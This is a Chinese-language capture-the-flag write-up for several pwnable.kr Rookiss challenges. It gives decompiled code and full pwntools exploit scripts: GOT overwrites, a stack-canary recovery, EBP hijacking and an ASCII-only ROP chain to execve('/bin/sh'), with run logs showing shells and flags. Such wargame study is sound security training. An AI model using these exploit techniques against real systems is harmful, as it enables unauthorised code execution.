Pwnable.kr Rookiss 练习记录

Pwnable.kr Rookiss 练习记录。

brain fuck

查看 brainfuck文件的 main() 函数可知,程序通过 stdin 接收一串字符串,然后将字符串中的每个字符作为指令进行解析和执行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int __cdecl main(int argc, const char **argv, const char **envp)
{
size_t i; // [esp+28h] [ebp-40Ch]
char s[1024]; // [esp+2Ch] [ebp-408h] BYREF
unsigned int v6; // [esp+42Ch] [ebp-8h]

v6 = __readgsdword(0x14u);
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
p = (int)&tape;
puts("welcome to brainfuck testing system!!");
puts("type some brainfuck instructions except [ ]");
memset(s, 0, sizeof(s));
fgets(s, 1024, stdin);
for ( i = 0; i < strlen(s); ++i )
do_brainfuck(s[i]);
return 0;
}

do_brainfuck() 函数中,定义了 7 个指令字符,用于执行不同的操作。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
int __cdecl do_brainfuck(char a1)
{
int result; // eax
_BYTE *v2; // ebx

result = a1 - 43;
switch ( a1 )
{
case '+':
result = p;
++*(_BYTE *)p;
break;
case ',':
v2 = (_BYTE *)p;
result = getchar();
*v2 = result;
break;
case '-':
result = p;
--*(_BYTE *)p;
break;
case '.':
result = putchar(*(char *)p);
break;
case '<':
result = --p;
break;
case '>':
result = ++p;
break;
case '[':
result = puts("[ and ] not supported.");
break;
default:
return result;
}
return result;
}

这些指令字符的功能如下。

指令 功能
+ 将 *p 指向的值加 1。
, 从 stdin 接收一个字符存放在 *p 中。
- 将 *p 指向的值减 1。
. 打印 *p 指向的值。
< 将 p 指向的地址减 1。
> 将 p 指向的地址加 1。
[ 打印 “[ and ] not supported.” 字符串。

指针 p 初始时指向 tape 数组,其位于 .bss 段,大小为 1024 字节。

1
2
3
4
5
6
7
8
9
10
.bss:0804A065                 align 20h
.bss:0804A080 p dd ? ; DATA XREF: do_brainfuck:loc_80485FE↑r
.bss:0804A080 ; do_brainfuck+2A↑w ...
.bss:0804A084 align 20h
.bss:0804A0A0 tape db ? ; ; DATA XREF: main+6D↑o
.bss:0804A0A1 db ? ;
.bss:0804A0A2 db ? ;
.bss:0804A0A3 db ? ;
.bss:0804A0A4 db ? ;
.bss:0804A0A5 db ? ;

tape 数组不远处,便是程序的 GOT 表。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
.got.plt:0804A000 ; ===========================================================================
.got.plt:0804A000
.got.plt:0804A000 ; Segment type: Pure data
.got.plt:0804A000 ; Segment permissions: Read/Write
.got.plt:0804A000 _got_plt segment dword public 'DATA' use32
.got.plt:0804A000 assume cs:_got_plt
.got.plt:0804A000 ;org 804A000h
.got.plt:0804A000 _GLOBAL_OFFSET_TABLE_ dd offset _DYNAMIC
.got.plt:0804A000 ; DATA XREF: _init_proc+9↑o
.got.plt:0804A000 ; __libc_csu_init+B↑o ...
.got.plt:0804A004 dword_804A004 dd 0 ; DATA XREF: sub_8048430↑r
.got.plt:0804A008 dword_804A008 dd 0 ; DATA XREF: sub_8048430+6↑r
.got.plt:0804A00C off_804A00C dd offset getchar ; DATA XREF: _getchar↑r
.got.plt:0804A010 off_804A010 dd offset fgets ; DATA XREF: _fgets↑r
.got.plt:0804A014 off_804A014 dd offset __stack_chk_fail
.got.plt:0804A014 ; DATA XREF: ___stack_chk_fail↑r
.got.plt:0804A018 off_804A018 dd offset puts ; DATA XREF: _puts↑r
.got.plt:0804A01C off_804A01C dd offset __gmon_start__
.got.plt:0804A01C ; DATA XREF: ___gmon_start__↑r
.got.plt:0804A020 off_804A020 dd offset strlen ; DATA XREF: _strlen↑r
.got.plt:0804A024 off_804A024 dd offset __libc_start_main
.got.plt:0804A024 ; DATA XREF: ___libc_start_main↑r
.got.plt:0804A028 off_804A028 dd offset setvbuf ; DATA XREF: _setvbuf↑r
.got.plt:0804A02C off_804A02C dd offset memset ; DATA XREF: _memset↑r
.got.plt:0804A030 off_804A030 dd offset putchar ; DATA XREF: _putchar↑r
.got.plt:0804A030 _got_plt ends
.got.plt:0804A030

因此,通过传递指令字符,可以控制 p 指针读取或者修改程序 GOT 表中任意条目,实现对任意函数的调用。

根据程序的代码逻辑,可以将 memset 修改为 gets 函数,将 fgets 修改为 system 函数,将 putchar 修改为 main 函数。当函数 GOT 表修改完毕,调用 . 指令时,程序将再次执行 main 函数,实现任意命令执行。

查看 brainfuck 和 libc-2.23.so 的保护情况。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
brainfuck@ubuntu:~$ checksec brainfuck
[*] '/home/brainfuck/brainfuck'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
brainfuck@ubuntu:~$ checksec libc-2.23.so
[!] Could not populate PLT: Cannot allocate 1GB memory to run Unicorn Engine
[*] '/home/brainfuck/libc-2.23.so'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

由于 libc.so 开启了 PIE 保护,所以需要先泄露 libc 中任意函数的地址,才能正确调用 libc 中的所需函数。

编写脚本,构造指令字符串。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#!/usr/bin/python3

from pwn import *

#target = process('./bf')
target = remote('0.0.0.0', 9001)

bf_bin = ELF('/home/brainfuck/brainfuck')
libc_bin = ELF('/home/brainfuck/libc-2.23.so')

main_addr = bf_bin.symbols['main']
memset_got = bf_bin.got['memset']
fgets_got = bf_bin.got['fgets']
putchar_got = bf_bin.got['putchar']

putchar_offset = libc_bin.symbols['putchar']
gets_offset = libc_bin.symbols['gets']
system_offset = libc_bin.symbols['system']

tape_addr = 0x0804A0A0

input = '<' * (tape_addr - putchar_got)
input += '.'
input += '.>.>.>.'
input += '<<<'
input += ',>,>,>,'
input += '<<<'
input += '>' * (tape_addr - putchar_got)
input += '<' * (tape_addr - memset_got)
input += ',>,>,>,'
input += '<<<'
input += '>' * (tape_addr - memset_got)
input += '<' * (tape_addr - fgets_got)
input += ',>,>,>,'
input += '.'
print(target.recvuntil('except [ ]\n'))
print(input)
target.sendline(input)
sleep(1)

target.recv(1)
putchar_addr = u32(target.recv(4))

libc_base_addr = putchar_addr - putchar_offset
gets_addr = libc_base_addr + gets_offset
system_addr = libc_base_addr + system_offset

input = p32(main_addr)
input += p32(gets_addr)
input += p32(system_addr)
input += b'/bin/sh\0'
target.sendline(input)
sleep(1)

target.interactive()
target.close()

运行脚本,得到 flag 信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
brainfuck@ubuntu:/tmp/brainfuck_test$ python3 get_flag.py
[+] Opening connection to 0.0.0.0 on port 9001: Done
[*] '/home/brainfuck/brainfuck'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
[!] Could not populate PLT: Cannot allocate 1GB memory to run Unicorn Engine
[*] '/home/brainfuck/libc-2.23.so'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
/tmp/brainfuck_test/get_flag.py:36: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
print(target.recvuntil('except [ ]\n'))
b'welcome to brainfuck testing system!!\ntype some brainfuck instructions except [ ]\n'
<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<..>.>.>.<<<,>,>,>,<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>><<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<,>,>,>,<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>><<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<,>,>,>,.
/tmp/brainfuck_test/get_flag.py:38: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
target.sendline(input)
[*] Switching to interactive mode
welcome to brainfuck testing system!!
type some brainfuck instructions except [ ]
$ ls
brainfuck_pwn
$ cd brainfuck_pwn
$ ls
brainfuck
flag
super.pl
$ cat flag
bR41n_F4ck_Is_FuN_LanguaG3
$

md5 calculator

题目实现了一个 md5 hash 计算程序,其 main 函数如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
int __cdecl main(int argc, const char **argv, const char **envp)
{
time_t v3; // eax
int v5; // [esp+18h] [ebp-8h] BYREF
int v6; // [esp+1Ch] [ebp-4h]

setvbuf(stdout, 0, 1, 0);
setvbuf(stdin, 0, 1, 0);
puts("- Welcome to the free MD5 calculating service -");
v3 = time(0);
srand(v3);
v6 = my_hash();
printf("Are you human? input captcha : %d\n", v6);
__isoc99_scanf("%d", &v5);
if ( v6 != v5 )
{
puts("wrong captcha!");
exit(0);
}
puts("Welcome! you are authenticated.");
puts("Encode your data with BASE64 then paste me!");
process_hash();
puts("Thank you for using our service.");
system("echo `date` >> log");
return 0;
}

程序先调用 my_hash 函数,计算出一个验证码。函数 my_hash 代码如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int my_hash()
{
int i; // [esp+0h] [ebp-38h]
_BYTE v2[4]; // [esp+Ch] [ebp-2Ch]
int v3; // [esp+10h] [ebp-28h]
int v4; // [esp+14h] [ebp-24h]
int v5; // [esp+18h] [ebp-20h]
int v6; // [esp+1Ch] [ebp-1Ch]
int v7; // [esp+20h] [ebp-18h]
int v8; // [esp+24h] [ebp-14h]
int v9; // [esp+28h] [ebp-10h]
unsigned int v10; // [esp+2Ch] [ebp-Ch]

v10 = __readgsdword(0x14u);
for ( i = 0; i <= 7; ++i )
*(_DWORD *)&v2[4 * i] = rand();
return v6 - v8 + v9 + v10 + v4 - v5 + v3 + v7;
}

虽然验证码是随机的,但是计算方法中使用了 v10 变量的值,导致其中包含了 Canary 保护机制的校验值。

根据题目中的提示,当解题的时间与 hash 服务的时间相同,则可以得到相同的随机数,从而计算出 Canary 保护的校验值。

程序在打印验证码之后,将调用 process_hash 函数计算输入数据的 md5 hash 值。函数 process_hash 代码如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
unsigned int process_hash()
{
int v1; // [esp+14h] [ebp-214h]
char *ptr; // [esp+18h] [ebp-210h]
_BYTE v3[512]; // [esp+1Ch] [ebp-20Ch] BYREF
unsigned int v4; // [esp+21Ch] [ebp-Ch]

v4 = __readgsdword(0x14u);
memset(v3, 0, sizeof(v3));
while ( getchar() != 10 )
;
memset(g_buf, 0, sizeof(g_buf));
fgets(g_buf, 1024, stdin);
memset(v3, 0, sizeof(v3));
v1 = Base64Decode(g_buf, v3);
ptr = (char *)calc_md5(v3, v1);
printf("MD5(data) : %s\n", ptr);
free(ptr);
return __readgsdword(0x14u) ^ v4;
}

由于 g_buf 数组的大小为 1024 字节,而 v3 数组的大小为 512 字节,所以,当数组 g_buf 中的数据经过 base64 解码写入 v3 数组时,将会产生栈溢出问题。

结合之前得到的 Canary 校验值,可以绕过 Canary 保护,然后调用程序中的 system 函数,得到系统的 Shell 会话。

编写利用脚本,通过调用 libc.so 文件和二次调用 process_hash 函数,得到系统 Shell 会话。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#!/usr/bin/python3

from pwn import *

import ctypes

target = remote('0.0.0.0', 9002)

print(target.recvuntil(b' : ').decode('utf-8'))
captcha = int(target.recvuntil(b'\n').decode('utf-8')[:-1])
c_libc = ctypes.cdll.LoadLibrary('libc.so.6')
c_libc.srand(c_libc.time(0))
v2 = c_libc.rand()
v3 = c_libc.rand()
v4 = c_libc.rand()
v5 = c_libc.rand()
v6 = c_libc.rand()
v7 = c_libc.rand()
v8 = c_libc.rand()
v9 = c_libc.rand()
stack_cookie = (captcha - v7 - v3 + v5 - v4 - v9 + v8 - v6) & 0xFFFFFFFF
target.sendline(str(captcha).encode('utf-8'))

process_hash_addr = 0x08048F92
call_system_addr = 0x08049187
g_buff = 0x0804B0E0

payload = b'A' * 0x200
payload += p32(stack_cookie)
payload += b'A' * 0xC
payload += p32(process_hash_addr)
payload += p32(call_system_addr)
payload += p32(g_buff)
payload = base64.b64encode(payload)

print(target.recvuntil(b'paste me!\n').decode('utf-8'))
target.sendline(payload)
print(target.recvuntil(b'\n').decode('utf-8'))
target.sendline(b'/bin/sh')

target.interactive()

运行脚本,得到 flag 内容。由于只能执行一次命令,所以需要直接读取 flag 文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
md5calculator@ubuntu:/tmp/md5calculator_test$ python3 get_flag.py
[+] Opening connection to 0.0.0.0 on port 9002: Done
- Welcome to the free MD5 calculating service -
Are you human? input captcha :
Welcome! you are authenticated.
Encode your data with BASE64 then paste me!

MD5(data) : bfa36c94217f87fc0763b24cfef0effe

[*] Switching to interactive mode
$ cat md5calculator_pwn/flag
MD5(data) : 441018525208457705bf09a8ee3c1093
M3ssing_w1th_st4ck_Pr0tector
[*] Got EOF while reading in interactive
$

simple login

题目实现了一个简单的登录认证程序,通过 MD5 比较进行验证。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4; // [esp+4h] [ebp-3Ch]
int v5; // [esp+18h] [ebp-28h] BYREF
_BYTE s[30]; // [esp+1Eh] [ebp-22h] BYREF
unsigned int v7; // [esp+3Ch] [ebp-4h]

memset(s, 0, sizeof(s));
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
printf("Authenticate : ", v4);
_isoc99_scanf("%30s", s);
memset(&input, 0, 0xCu);
v5 = 0;
v7 = Base64Decode(s, &v5);
if ( v7 > 0xC )
{
puts("Wrong Length");
}
else
{
memcpy(&input, v5, v7);
if ( auth(v7) == 1 )
correct();
}
return 0;
}

根据 main 函数可知,程序接收 base64 编码后的输入数据,解码后通过 input 全局变量在 auth 函数中处理。

1
2
3
4
5
6
7
8
9
10
11
_BOOL4 __cdecl auth(int a1)
{
_BYTE v2[8]; // [esp+14h] [ebp-14h] BYREF
char *s2; // [esp+1Ch] [ebp-Ch]
int v4; // [esp+20h] [ebp-8h] BYREF

memcpy(&v4, &input, a1);
s2 = (char *)calc_md5(v2, 12);
printf("hash : %s\n", s2);
return strcmp("f87cd601aa7fedca99018a8be88eda34", s2) == 0;
}

当输入数据的 MD5 值匹配成功,程序执行 system 函数。

1
2
3
4
5
6
7
8
9
void __noreturn correct()
{
if ( input == -559038737 )
{
puts("Congratulation! you are good!");
system("/bin/sh");
}
exit(0);
}

正常情况下,是无法通过验证的。但是分析后发现,在 auth 函数中调用 memcpy 函数复制 input 时,存在溢出问题。

由于 input 复制的目标是 v4 变量(偏移为 esp + 0x8 处),而非 v2 变量(偏移为 esp + 0x14 处),所以 0xC 大小的 input 的最后 4 个字节刚好覆盖 auth 函数 ebp 指向的内容,即 main 函数的 ebp 值。

1
2
3
4
5
6
7
8
9
10
11
12
13
-0000000000000014     _BYTE v2[8];
-000000000000000C char *s2;
-0000000000000008 // padding byte
-0000000000000007 // padding byte
-0000000000000006 // padding byte
-0000000000000005 // padding byte
-0000000000000004 // padding byte
-0000000000000003 // padding byte
-0000000000000002 // padding byte
-0000000000000001 // padding byte
+0000000000000000 _DWORD __saved_registers;
+0000000000000004 _UNKNOWN *__return_address;
+0000000000000008 _DWORD arg_0;

虽然无法直接修改 auth 函数的返回地址,但是通过调整 main 函数 ebp 的内容,可以控制 main 函数的返回地址。

编写脚本,指定 input 变量的地址为 main 函数 ebp 的新内容。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#!/usr/bin/python3

from pwn import *
import base64

payload = b'A' * 4
payload += p32(0x08049278)
payload += p32(0x0811EB40)
payload = base64.b64encode(payload)

target = remote('pwnable.kr', 9003)
print(target.recvuntil('Authenticate : ') + payload)
target.sendline(payload)
target.interactive()

运行脚本,得到 flag 内容。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
simplelogin@ubuntu:/tmp/simplelogin_test$ python3 get_flag.py
[+] Opening connection to pwnable.kr on port 9003: Done
/tmp/simplelogin_test/get_flag.py:12: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
print(target.recvuntil('Authenticate : ') + payload)
b'Authenticate : QUFBQXiSBAhA6xEI'
[*] Switching to interactive mode
hash : eb95a178657138cb8a9a8fe593c0eb7c
Congratulation! you are good!
$ ls
flag
log
simplelogin
super.pl
$ cat flag
C0ntrol_EBP_E5P_EIP_and_rul3_th3_w0rld
$

otp

查看程序源码,当输入与读取的随机数据相同时,才能得到 flag 内容。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>

int main(int argc, char* argv[]){
char fname[128];
unsigned long long otp[2];

if(argc!=2){
printf("usage : ./otp [passcode]\n");
return 0;
}

int fd = open("/dev/urandom", O_RDONLY);
if(fd==-1) exit(-1);

if(read(fd, otp, 16)!=16) exit(-1);
close(fd);

sprintf(fname, "/tmp/%llu", otp[0]);
FILE* fp = fopen(fname, "w");
if(fp==NULL){ exit(-1); }
fwrite(&otp[1], 8, 1, fp);
fclose(fp);

printf("OTP generated.\n");

unsigned long long passcode=0;
FILE* fp2 = fopen(fname, "r");
if(fp2==NULL){ exit(-1); }
fread(&passcode, 8, 1, fp2);
fclose(fp2);

if(strtoul(argv[1], 0, 16) == passcode){
printf("Congratz!\n");
setregid(getegid(), getegid());
system("/bin/cat flag");
}
else{
printf("OTP mismatch\n");
}

unlink(fname);
return 0;
}

在 Linux 中,有 ulimit 命令用于限制系统的资源使用。通过 ulimit -f 0 可以限制进程创建的文件大小为 0 字节,当程序执行 fclose 函数将数据从缓冲区写入磁盘文件时,将会失败。

执行命令,得到 flag 内容。需要注意的是,直接通过 shell 执行文件将会提示异常。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ ulimit -f 0
$ ./otp 0
File size limit exceeded (core dumped)
$ python
Python 3.10.12 (main, Feb 4 2025, 14:57:36) [GCC 11.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import os
>>> os.system('./otp 0')
OTP generated.
Congratz!
f1le_0peration_r3turn_value_matters
0
>>> quit()
$

ascii_easy

查看程序源码,明显的栈溢出漏洞,但是需要通过 ASCII 码检查才能得到 flag 内容。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <fcntl.h>

#define BASE ((void*)0x5555e000)

int is_ascii(int c){
if(c>=0x20 && c<=0x7f) return 1;
return 0;
}

void vuln(char* p){
char buf[20];
strcpy(buf, p);
}

void main(int argc, char* argv[]){

if(argc!=2){
printf("usage: ascii_easy [ascii input]\n");
return;
}

size_t len_file;
struct stat st;
int fd = open("/home/ascii_easy/libc-2.15.so", O_RDONLY);
if( fstat(fd,&st) < 0){
printf("open error. tell admin!\n");
return;
}

len_file = st.st_size;
if (mmap(BASE, len_file, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE, fd, 0) != BASE){
printf("mmap error!. tell admin\n");
return;
}

int i;
for(i=0; i<strlen(argv[1]); i++){
if( !is_ascii(argv[1][i]) ){
printf("you have non-ascii byte!\n");
return;
}
}

printf("triggering bug...\n");
setregid(getegid(), getegid());
vuln(argv[1]);

}

查看程序保护措施,只开启了 NX 保护,需要构造 ROP 链进行利用。

1
2
3
4
5
6
7
8
ascii_easy@ubuntu:~$ checksec ascii_easy
[*] '/home/ascii_easy/ascii_easy'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No

程序将 libc-2.15.so 文件映射至 0x5555e000 地址的内存中,并赋予可读、可写和可执行权限。保证此处内存的 gadget 地址前 2 个字节位于可见字符范围。

通过 ROPgadget 工具,得到 libc-2.15.so 文件中的 gadget 列表。

1
ROPgadget --binary libc-2.15.so > gadget.txt

编写脚本,过滤出地址符合条件的 gadget 代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/usr/bin/python3

libc_base_addr = 0x5555e000
gadget_count = 0

def check_addr(addr):
for i in range(4):
addr_byte = (addr >> (i * 8)) & 0xFF
if addr_byte < 0x20 or addr_byte > 0x7F:
return False
return True

gadget_file = open('./gadget.txt', 'r')
gadget_filter_file = open('./gadget_filter.txt', 'w+')

for gadget in gadget_file.readlines():
if gadget[0:2] != '0x':
continue

gadget_addr = int(gadget[0:10], 16) + libc_base_addr
if check_addr(gadget_addr):
gadget_filter_file.write(gadget)
gadget_count += 1

gadget_filter_file.write('\nUnique gadgets found: %d' % (gadget_count))
print('Unique gadgets found: %d' % (gadget_count))

gadget_file.close()
gadget_filter_file.close()

由于执行命令的函数地址都不符合要求,所以使用 int 0x80 来调用 execve 函数。查阅资料可知,函数 execve 的调用号为 0xA(即 11),函数的定义如下。

1
2
int execve(const char *pathname, char *const _Nullable argv[],
char *const _Nullable envp[]);

从符合条件的 gadget 中选取合适的代码,实现参数的构造和函数的调用。

在映射内存中,挑选合适的位置作为缓冲区,用于存放 /bin/sh 字符串。

1
2
3
4
5
6
7
.rodata:00155830                 db  43h ; C
.rodata:00155831 db 0
.rodata:00155832 db 0
.rodata:00155833 db 0
.rodata:00155834 db 0
.rodata:00155835 db 0
.rodata:00155836 db 0

挑选 gadget 代码,通过寄存器将字符串写入内存中。

1
2
0x00095555 : pop edx ; xor eax, eax ; pop edi ; ret
0x00129b3c : mov dword ptr [edx], edi ; pop esi ; pop edi ; ret

为字符串添加截断符。

1
2
0x00095555 : pop edx ; xor eax, eax ; pop edi ; ret
0x000a845c : mov dword ptr [edx], eax ; repz ret

通过 int 0x80 调用函数时,eax 用于存放函数调用号,ebx 用于函数第一个参数,ecx 用于存放第二个参数,edx 用于存放第三个参数。即 eax = 0xa,ebx = pathname,ecx = argv,edx = envp。

设置 envp 的值为空。

1
0x00095555 : pop edx ; xor eax, eax ; pop edi ; ret

设置 argv 的值为空。

1
0x00174a51 : pop ecx ; add al, 0xa ; ret

设置 pathname 的值指向字符串。

1
0x0001934e : pop ebx ; ret

设置函数调用号。

1
2
0x00174a51 : pop ecx ; add al, 0xa ; ret
0x00168864 : inc eax ; ret 0

调用函数。

1
0x00109176 : inc esi ; int 0x80

将选取的 gadget 组成调用链,得到可用的 payload 内容。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#!/usr/bin/python3

from pwn import *

libc_base_addr = 0x5555e000
buffer_addr = 0x00155830

payload = b'A' * 0x20
payload += p32(libc_base_addr + 0x00095555) # pop edx ; xor eax, eax ; pop edi ; ret
payload += p32(libc_base_addr + buffer_addr) # buffer addr
payload += b'/bin'
payload += p32(libc_base_addr + 0x00129b3c) # mov dword ptr [edx], edi ; pop esi ; pop edi ; ret
payload += b'A' * 0x4
payload += b'A' * 0x4
payload += p32(libc_base_addr + 0x00095555) # pop edx ; xor eax, eax ; pop edi ; ret
payload += p32(libc_base_addr + buffer_addr + 4)
payload += b'//sh'
payload += p32(libc_base_addr + 0x00129b3c) # mov dword ptr [edx], edi ; pop esi ; pop edi ; ret
payload += b'A' * 0x4
payload += b'A' * 0x4
payload += p32(libc_base_addr + 0x00095555) # pop edx ; xor eax, eax ; pop edi ; ret
payload += p32(libc_base_addr + buffer_addr + 8)
payload += b'A' * 0x4
payload += p32(libc_base_addr + 0x000a845c) # mov dword ptr [edx], eax ; repz ret
payload += p32(libc_base_addr + 0x00095555) # pop edx ; xor eax, eax ; pop edi ; ret
payload += p32(libc_base_addr + buffer_addr + 8)
payload += b'A' * 0x4
payload += p32(libc_base_addr + 0x00174a51) # pop ecx ; add al, 0xa ; ret
payload += p32(libc_base_addr + buffer_addr + 8)
payload += p32(libc_base_addr + 0x0001934e) # pop ebx ; ret
payload += p32(libc_base_addr + buffer_addr)
payload += p32(libc_base_addr + 0x00168864) # inc eax ; ret 0
payload += p32(libc_base_addr + 0x00109176) # inc esi ; int 0x80

print('Payload: ' + payload.decode('utf-8'))

执行题目程序,得到 flag 内容。

1
2
3
4
5
6
7
8
9
10
ascii_easy@ubuntu:/tmp/ascii_easy_test$ python3 get_flag.py
Payload: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAU5_U08kU/bin<{hUAAAAAAAAU5_U48kU//sh<{hUAAAAAAAAU5_U88kUAAAA\d`UU5_U88kUAAAAQ*mU88kUNsWU08kUdhlUvqfU
ascii_easy@ubuntu:/tmp/ascii_easy_test$ cd ~
ascii_easy@ubuntu:~$ ./ascii_easy 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAU5_U08kU/bin<{hUAAAAAAAAU5_U48kU//sh<{hUAAAAAAAAU5_U88kUAAAA\d`UU5_U88kUAAAAQ*mU88kUNsWU08kUdhlUvqfU'
triggering bug...
$ ls
ascii_easy ascii_easy.c flag libc-2.15.so
$ cat flag
ASCII_armor_is_a_real_pain_to_d3al_with!
$

tiny_easy

查看程序代码,只有几段汇编代码存在。

1
2
3
4
5
6
7
8
9
10
11
12
LOAD:08048054                 public start
LOAD:08048054 start proc near ; DATA XREF: LOAD:08048018↑o
LOAD:08048054 pop eax
LOAD:08048055 pop edx
LOAD:08048056 mov edx, [edx]
LOAD:08048058 call edx
LOAD:08048058 start endp ; sp-analysis failed
LOAD:08048058
LOAD:08048058 LOAD ends
LOAD:08048058
LOAD:08048058
LOAD:08048058 end start

调试查看函数栈,确定 edx 寄存器保存的值。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
────────────────────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]────────────────────────────────────────────────────────────────────────────
EAX 0
EBX 0
ECX 0
EDX 0
EDI 0
ESI 0
EBP 0
ESP 0xff916d10 ◂— 1
EIP 0x8048054 ◂— pop eax
─────────────────────────────────────────────────────────────────────────────────────[ DISASM / i386 / set emulate off ]──────────────────────────────────────────────────────────────────────────────────────
► 0x8048054 pop eax EAX => 1
0x8048055 pop edx EDX => 0xff917d4a
0x8048056 mov edx, dword ptr [edx] EDX, [0xff917d4a] => 0x6d6f682f ('/hom')
0x8048058 call edx <0x6d6f682f>

0x804805a add byte ptr [eax], al
0x804805c add byte ptr [eax], al
0x804805e add byte ptr [eax], al
0x8048060 add byte ptr [eax], al
0x8048062 add byte ptr [eax], al
0x8048064 add byte ptr [eax], al
0x8048066 add byte ptr [eax], al
──────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ esp 0xff916d10 ◂— 1
01:0004│ 0xff916d14 —▸ 0xff917d4a ◂— '/home/tiny_easy/tiny_easy'
02:0008│ 0xff916d18 ◂— 0
03:000c│ 0xff916d1c —▸ 0xff917d64 ◂— 'SHELL=/bin/bash'
04:0010│ 0xff916d20 —▸ 0xff917d74 ◂— 'PWD=/home/tiny_easy'
05:0014│ 0xff916d24 —▸ 0xff917d88 ◂— 'LOGNAME=tiny_easy'
06:0018│ 0xff916d28 —▸ 0xff917d9a ◂— 'XDG_SESSION_TYPE=tty'
07:001c│ 0xff916d2c —▸ 0xff917daf ◂— '_=/usr/bin/gdb'

可以看到,函数栈中保存的是程序参数和环境变量。其中 edx 寄存器保存的是程序第一个参数的前 4 个字节。通过这 4 字节内容,可以控制程序的执行流程。

查看程序和系统开启的保护机制。

1
2
3
4
5
6
7
8
9
tiny_easy@ubuntu:~$ checksec tiny_easy
[*] '/home/tiny_easy/tiny_easy'
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
tiny_easy@ubuntu:~$ cat /proc/sys/kernel/randomize_va_space
2

由于程序的进程中未调用任何代码,而且题目平台开启了 ASLR 机制,所以只能利用类似堆喷的方式,布置大量 nop 指令,然后跳转到其中,最终滑行到 shellcode 实现任意代码执行。

